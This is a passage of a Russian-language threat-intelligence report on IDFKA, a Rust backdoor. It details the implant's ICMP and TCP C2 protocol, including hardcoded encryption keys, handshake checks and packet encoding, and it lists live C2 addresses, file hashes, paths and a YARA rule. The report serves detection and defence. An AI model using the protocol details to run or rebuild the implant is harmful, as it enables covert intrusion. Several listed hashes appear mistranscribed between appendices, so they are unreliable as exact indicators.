backend-knock-connectback	Активный режим для варианта с PORT KNOCKING	KNOCK_PORT_1; KNOCK_PORT_2; KNOCK_PORT_3; METHOD (raw, pcap); PCAP_DEVICE
backend-spooftcp	Поднимается RAW-сокет с фильтром по TCP. Фильтр по IP и порту	SPOOFED_IP; PORT; METHOD (raw, pcap); PCAP_DEVICE
backend-http	Активный режим с обращением к C2 через HTTP	URL; CONNECTBACK_INTERVAL_MINUTES

Коммуникация

В этом разделе приводится описание коммуникации в режимах работы, которые были встречены в сэмплах, работавших в инфраструктуре жертвы.

ICMP

За взаимодействие по ICMP отвечает режим server-icmp. Данный режим был установлен по умолчанию в большинстве обнаруженных нами образцов вредоноса.

Из особенностей стоит отметить, что малварь не выходит за рамки типичного размера ICMP-пакетов (как, например, в ping), а фильтрация пакета происходит следующим образом:

1. Считается, что полезная нагрузка начинается с поля id.

2. Далее в цикле по модулю 16, начиная со смещения поля id+16, последовательно проверяются байты на соответствие байтам [id..id+15].

Если упростить, то в итоге содержимое полезной нагрузки должно постоянно повторяться в пакете вплоть до его конца, что, вероятно, может создавать иллюзию легитимности трафика (также сохраняется и размер типичных ring-пакетов).

Пример воспроизведенного PoC ICMP пакета:

PoC ICMP пакета

08 00 — начало ICMP-пакета, эти два байта означают, что пакет представляет собой Echo Ping. Далее следуют 2 байта чек-суммы. После них идет поле id, именно с него начинается считываться полезная нагрузка. Максимальный размер нагрузки — 16 байт, далее она должна повторяться, чтобы пакет был успешно считан вредоносом.

После валидации пакета считывается полезная нагрузка. Затем инициализируется алгоритм шифрования AES в режиме ECB с ключом 8C DE AD B7 78 98 22 E7 05 17 24 EC 2B D6 9C 55 (закодирован внутри бинарного файла с помощью алгоритма обфускации строк), расшифровывается, а затем происходит дальнейшая обработка полезной нагрузки.

TCP

Для backend и backend-connectback используется режим TCP. Протокол взаимодействия одинаков для обоих режимов, отличается лишь направлением. C2 сервера при обращении возвращает 4 байта. Эти 4 байта связаны между собой равенством $b0 \oplus b1 = b2 \oplus b3$ (т. е. XOR между 0 и 1 байтом равен XOR между 2 и 3 байтом).

Также из интересных особенностей то, что обнаруженные нами C2-серверы использовали один и тот же ASN (50867 Hostkey B.v.)

C2-серверы

Для C2-серверов 4 байта баннера были следующими:

C2	Banner	$b0 \oplus b1, b2 \oplus b3$
141.105.65[.]160:8080	"4au"	0x14
91.210.107[.]135:8080	"uk>"	0x55

На момент написания статьи злоумышленники все еще активны. В сентябре 2025 года на сервере 91.210.107[.]135 было замечено изменение баннера, новое значение s&9l (что в сумме дает 0x55). Настоятельно рекомендуется принять меры в случае обнаружения обращений на приведенные C2.

Handshake

Рассмотрим работу сэмпла в активном режиме (когда он подключается к серверу). После получения четырех байт с сервера происходит сравнение результатов XOR двух последующих байтов. При этом значение закодировано жестко. В сэмплах, которые мы наблюдали, это значение было 0x55. Вероятно, злоумышленники могут генерировать сэмплы с другими значениями.

Проверка константы

После проверки происходит генерация случайных 32 байт. Затем они используются в качестве ключа для генерации keystream с помощью алгоритма chacha20. Из полученного keystream берется первый байт, сохраняется в результирующий буфер. Затем к байту добавляется с помощью XOR значение 0x55, сохраняется вслед за предыдущим байтом. Затем итерация повторяется заново, пока таким образом не будут сгенерированы 4 байта.

После хендшейка сэмпл раскодирует как обычную строку (см. обфускация строк) 32-байтовый ключ 7E D5 65 39 86 06 A0 83 7B 2F 47 11 42 31 47 A3 B0 47 11 96 7A 78 93 29 56 C1 11 0A 6C C6 18 B3. Затем генерирует случайные 32 байта, расширяет их до 64 байт (для типа 4). Добавляет в начало 1 байт (это тип алгоритма), а затем зашифровывает ключом и попсо (01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 для этого этапа, в пакете не содержит) с помощью алгоритма chacha20. Значение попсо зависит от текущего этапа.

В зависимости от типа алгоритма публичный ключ будет иметь разный размер. Всего известно о значениях 0 (отсутствие ключа), 2,3,5 (32-байтовый ключ), 4 (ключ 64 байта).

Chacha20

Прежде чем отправить результирующий пакет на сервер, сэмпл рассчитывает длину пакета. Для ее кодирования используется нечто похожее на varint (в varint 7-й бит каждого байта отведен для флага. Если бит равен 0, число не считается дальше, иначе считается. Полезной нагрузкой считаются младшие 7 бит каждого байта), длина пакета закодирована в младших семи битах, однако самый старший бит содержит единицу, несмотря на то что далее число не продолжается. Поэтому данный вид кодирования похож на своего рода обфускацию.

Пример пакета:

```
c13464a4d03c38dc0e2d3a7155be94c7050a90aac3a2324b69bf4f54164f3cd1596815a1073a2e8194fadadce3c1eae7ad78ea39e9f70316ee29a4238a3bfb44f116
```

0xC1 — закодированная длина пакета. Чтобы получить ее, необходимо считать младшие 7 бит. $0xC1 \& 7F = 0x41 = 65$. После этого байта следует 65 байт зашифрованной нагрузки, при этом первый байт содержит тип алгоритма.

Учитывая такой способ кодирования длины пакета, можно предположить, что максимальная длина пакета при таком взаимодействии 127 байт. В расшифрованном виде полезная нагрузка выглядит так:

```
04 82 d1 5c 47 85 59 f8 05 b1 59 bd 94 e1 c4 a7 fb a9 55 15 e5 42 4f d3 73 57 1e 95 70 7d 85 e8 3d 67 83 0e f7 17 d6 33 4e aa c6
54 4c 7e 7e 5d fc 68 88 54 3c 4e bf fb 7f cd c1 24 21 29 f3 73 6e
```

Где 04 — тип алгоритма (используется 64-байтовый ключ), за которым непосредственно следует сам публичный ключ.

Далее сэмпл ожидает ответа с таким же сообщением от клиента/сервера (активный/пассивный режим), однако поспе теперь — 02 02 02 02 02 02 02 02 02 02 02 02 02 02.

Пример расшифровки пакета хендшейка

Атрибуция

Исследованный бэкдор был обнаружен в инфраструктуре с множественной компрометацией. Отсутствие прямых связей с ранее известными группировками не позволяет с уверенностью назвать конкретного актора, поэтому мы присвоили кластеру временное обозначение NGC5081. При этом тот факт, что в одном из случаев IDFKA разделил C2-инфраструктуру с Tinyshell, указывает на возможное географическое происхождение NGC5081. Этот бэкдор, помимо прочего, известен тем, что регулярно используется группировками восточноазиатского происхождения.

Заключение

Исследованный бэкдор представляет собой комплексный инструмент, позволяющий хакерам эффективно покрывать все базовые задачи: от простого шелла до горизонтального продвижения и сканирования внутренней инфраструктуры жертвы.

Использование языка Rust в разработке подобных инструментов значительно повышает барьер для анализа: типичные сигнатуры C/C++ отсутствуют, бинарный файл часто статически линкован, символы и типовые подписи удалены или заманглены, а агрессивные оптимизации (инлайнинг, LTO и т. д.) распыляют семантику по всему образцу. Дополнительно Rust-экосистема вводит характерные для себя зависимости — множество маленьких инлайновых функций из крейтов, неточности в сопоставлении дизассемблера с исходной структурой — все это сводит на нет привычные приемы быстрой идентификации точек интереса и требует больше времени на построение корректной семантики кода. В сумме это делает статический анализ менее продуктивным и вынуждает тратить ресурсы на длительный динамический анализ.

По совокупности примененных приемов можно сделать вывод о профессионализме авторов: разработка такого бэкдора требует высокой квалификации. Такой уровень характерен для слаженных команд опытных разработчиков и операторов вредоносных инструментов, которые располагают ресурсами и временем на тестирование и развитие проекта.

Сравнивая технический профиль и оперативные приемы, реализованные в исследованных сэмплах, с известными образцами, можно отметить многочисленные пересечения по сложности и тактикам с инструментами уровня [GoblinRAT](#). При этом важно подчеркнуть: это наблюдение относится исключительно к уровню компетенций и подходам к реализации — оно не является подтверждением принадлежности атаки конкретной группе.

ИОС

Приложение 1. ИОСs

File hashes

MD5

```
6d588c70e1f419eca692fbae99c9d93a
86348e9bc3f749574035fa9215801aaf
d6b76c5edbe5171acb8aa1e859c2150d
2c56ff32902dac46cca3a0b3bcc2a6b7
c2a909c2fd1ea1aac436673437e6cfd0
61cadcb195a795bbe32bd558be0cea68
fe66d93c36855c21ab8c73481895f72a
```

cf4ad41e4a6e5836bcd2f3320ca8a06
3a586f2b7dc89a2460319fb72d13bedb
b212c50be07181bcf042a73a5a258049
e73cb83c3813f4746bda2e8cf175c16b
9b2e240fde5d63841b89c302fdad4f0
3c2cc77ecb4833dea049215dbbc42c4d
f115d012e1354de5614be3a716d86a70
bcff1e4499d88a97c99d983aac5e8342
c214a28ab234042552ce5ccf3f887752
73a221cfdcec9261b36c9987975487e6
05b742a4bc37953611adc291fb9fa207
228501fe7e013d8a65c2b9351396a37d
697416c02d2aab731f87020b8853f85f
a85a6ff0400174f974509881e571e4c0

SHA1

75a8923c570af940954ce4125c75963fc013b4cd
d623a0cefe56be6df152f1aeabd34311f83c2a2b
3ad55c68d84a010152e83a784e65b7f7e5d4e77e
ae39456c5554c89155c0bdc6268335c23585e0ec
6709780f21cc70a6bea727288f9dbb602e1a4f45
fdcb77bb45f8e1537954a08ba49f1644f36343ed
b18de47ab746c6618475be0b0dd3fe78610c55aa
00888f1aa11468ef30ac652d16273e35ef7dda53
522d031dee121cfd1f7b714735a3aa9e450ef7f
9366b72dcfbbca0e5d61b3d54da84099922ff251
affaff9c9f6f2c254f1180552e41d55e8cb5c9d2
8c9fd7c74f750bcd13a73bb8d873a84a63ae9068
cb57e840e9304810e5a045529b46c731745d9878
e098ac713ad924643446731e65bf223885f3e939
6ebd39b124b46aaff8e2d913dbd98add3099ecea
b05ac0cb64f285ed7bdf31bed173243b982737fa
3bd64cc0364c1684c88057ba9ec38cee99aaee0d
9f129a44ee63d05002fbd470c8c198f20cdbcf2d
d3992e730874a47b67de7928999859f217d2666f
80cd3d1ed9a8e9a3d28a5d40b2caf514f5f1e9d1

SHA256

fecb289bf6acc31c00f2c73ef269bfda4325f45803592d37256dda289dc4d9aa
f80240fd14abe8d62cb2fae7a8afce34f07337d375eacc5d9cb118f461377a4
d47590e49f0418396b75dbacf5bb64735da951af408b0562d87234e8d0a63651
51f0806e39ca2fd866ebad11866affb3299b291319a271eb7c71baa3458a1dbd
8ea0bd323618e47c2f002d1f0e85d07eb7440ff7efa9e91329f49819b46438f2
0f59de6d6b1a60079a99cff403c2a3683de15c7eda7f79ba2cb1d4dae43c7b41
b10dc9ba6089e372ab63d4ec30f31654abccfed0ade0c8aa0eac1724cc4c6d17
7e0146e5e8798d7c647312fd5b0d4cc1a0381a367f41b6ba589381db7c80eafb
5f157979c0a4b58c385dda780f584269d3e174b6816a9e7483504f04818beeb4
a381ab82d519159cb17e897f3d2a9ce9a122ff5941f734a14df89a7b2f0667da
0e91d50da1d39d505b3bbec3c759d1fde6e51373c10900b68a45849b073d2684
d3c25ee081761c600669597c6ad4effd02f2a5d1171af267b04b572698554d2e
6d745834032d55e804e2a423529d9f663254ea07185eb96f2f5f089941668b7c
1ecad44696fcc6631796a79424b2410e8c61c957d8e54106bdb78c7dd9986cde
f12a073a88b076875dbd4ea36f02e803a8ef10c9d8892b5557d8fb46d2c68016
7e0146e5e8798d7c647312fd5b0d4cc1a0381a367f41b6ba589381db7c80eafb
57d55b21366fda8546d16ec7beeac43f3f2ffec05eca891082fb059348598765
9fadd4c62a79e97cc0c65c8bf25bce2721d0ca7dfac9dc6aaeb47df5c8f4508e
e6582e5a4c62f461661cc0687be45a5bb68c2081d6d8c5d3598d53770962f453
e19ed0b50872d467ac313175c955382fd9bca437ad5932856a690823455049fd
2eff8367be0facf74b74384f3b45e83cd327510c64a216355e8f6e8948634033

Сетевые индикаторы

Актуальность — сентябрь 2025

C2 IDFKA

141.105.65[.]160 8080/tcp
91.210.107[.]135 8080/tcp

C2 Tinyshell

5.252.176[.]80 8156/tcp
141.105.65[.]160
37.120.247[.]173

C2 VShell

94.131.121[.]10 10250/tcp
45.144.31[.]54 60998/tcp
45.67.230[.]39 8888/tcp

165.231.141[.]126

Yara

```
rule idfka {
  meta:
    description = "Detects idfka backdoor"
    author = "4rays"
  strings:
    $a1 = {4? [1-3] 7f 45 4c 46 02 01 01 00}
    $a2 = "rustc" ascii
    $a3 = {48 ba 9f 9d 98 81 7f 8e}
  condition:
    filesize >= 2MB
    and uint32(0) == 0x464c457f
    and all of them
}
```

Приложение 2. Расширенная информация по файловым IOCs

Путь	MD5	SHA1	SHA256
/dev/shm/f	6d588c70e1f419eca692fbea99c9d93a	75a8923c570af940954ce4125c75963fc013b4cd	fecb289bf6acc31c00f2c73ef
/dev/shm/.f			
/dev/shm/postgres: abcd_prod: background reader			
/var/lib/postgresql/postgres: abcd_prod: background writer			
postgres: abcd_prod: background logger			
/opt/gitlab/bin/gitlab-kas	86348e9bc3f749574035fa9215801aaf	d623a0cefe56be6df152f1aeabd34311f83c2a2b	f80240fd14abe8d62cb2fae7
/usr/sbin/ntpqd	9b2e240fde5d63841b89c302fdadf4f0	8c9fd7c74f750bcd13a73bb8d873a84a63ae9068	d3c25ee081761c600669597
/usr/sbin/rpcbalance	697416c02d2aab731f87020b8853f85f	d3992e730874a47b67de7928999859f217d2666f	e19ed0b50872d467ac31317
/usr/sbin/hald-worker	3c2cc77ecb4833dea049215dbbc42c4d	cb57e840e9304810e5a045529b46c731745d9878	6d745834032d55e804e2a42
/usr/sbin/.irgbalance			

/usr/sbin/php-fpm:	e73cb83c3813f4746bda2e8cf175c16b	affaff9c9f6f2c254f1180552e41d55e8cb5c9d2	0e91d50da1d39d505b3bbe
/usr/sbin/postgres:			
/usr/sbin/nginx:			
/usr/sbin/postgres:			
/usr/sbin/readname			
/usr/sbin/tuned-clt	a85a6ff0400174f974509881e571e4c0	80cd3d1ed9a8e9a3d28a5d40b2caf514f5f1e9d1	2eff8367be0facf74b74384f3
/usr/sbin/sys-local	f115d012e1354de5614be3a716d86a70	e098ac713ad924643446731e65bf223885f3e939	1ecad44696fcc6631796a79
/usr/sbin/.dockr	bcff1e4499d88a97c99d983aac5e8342	-	-
/tmp/t1	d6b76c5edbe5171acb8aa1e859c2150d	3ad55c68d84a010152e83a784e65b7f7e5d4e77e	d47590e49f0418396b75dba
/tmp/tmux-0/docker	2c56ff32902dac46cca3a0b3bcc2a6b7	ae39456c5554c89155c0bdc6268335c23585e0ec	51f0806e39ca2fd866ebad11
Из памяти [kworker/0:2]	61cadcb195a795bbe32bd558be0cea68	fdcb77bb45f8e1537954a08ba49f1644f36343ed	0f59de6d6b1a60079a99cff4
Из памяти [kworker/0:2]	fe66d93c36855c21ab8c73481895f72a	b18de47ab746c6618475be0b0dd3fe78610c55aa	b10dc9ba6089e372ab63d4e
/usr/bin/c8ecb103tcp	cf4ad41e4a6e5836bcfd2f3320ca8a06	00888f1aa11468ef30ac652d16273e35ef7dda53	7e0146e5e8798d7c647312f
/usr/bin/b6271952tcp			
/usr/bin/cdd407ebtcp			
/usr/bin/8615bddbtcp			
/usr/bin/f15102d2tcp	3a586f2b7dc89a2460319fb72d13bedb	522d031dee121cfcd1f7b714735a3aa9e450ef7f	5f157979c0a4b58c385dda7
/tmp/f15102d2tcp	b212c50be07181bcf042a73a5a258049	9366b72dcfbba0e5d61b3d54da84099922ff251	a381ab82d519159cb17e897
/usr/bin/c8ecb103tcp			
/home/<redacted>/rdl	c214a28ab234042552ce5ccf3f887752	6ebd39b124b46aaff8e2d913dbd98add3099ece	f12a073a88b076875dbd4ea
/usr/bin/8615bddbtcp	cf4ad41e4a6e5836bcfd2f3320ca8a06	00888f1aa11468ef30ac652d16273e35ef7dda53	7e0146e5e8798d7c647312f
/usr/bin/cdd407ebtcp			
/tmp/tt/t	73a221cfdcec9261b36c9987975487e6	b05ac0cb64f285ed7bdf31bed173243b982737fa	57d55b21366fda8546d16ec

/tmp/.ICE-unix/iv	05b742a4bc37953611adc291fb9fa207	3bd64cc0364c1684c88057ba9ec38cee99aaee0d	9fadd4c62a79e97cc0c65c8t
/memfd:a	c2a909c2fd1ea1aac436673437e6cfd0	6709780f21cc70a6bea727288f9dbb602e1a4f45	8ea0bd323618e47c2f002d1
/memfd:a	61cadcb195a795bbe32bd558be0cea68	fdcb77bb45f8e1537954a08ba49f1644f36343ed	0f59de6d6b1a60079a99cff4
/memfd:a	fe66d93c36855c21ab8c73481895f72a	b18de47ab746c6618475be0b0dd3fe78610c55aa	b10dc9ba6089e372ab63d4e
/tmp/PGSQL1	228501fe7e013d8a65c2b9351396a37d	9f129a44ee63d05002fbd470c8c198f20cdbcf2d	e6582e5a4c62f461661cc06f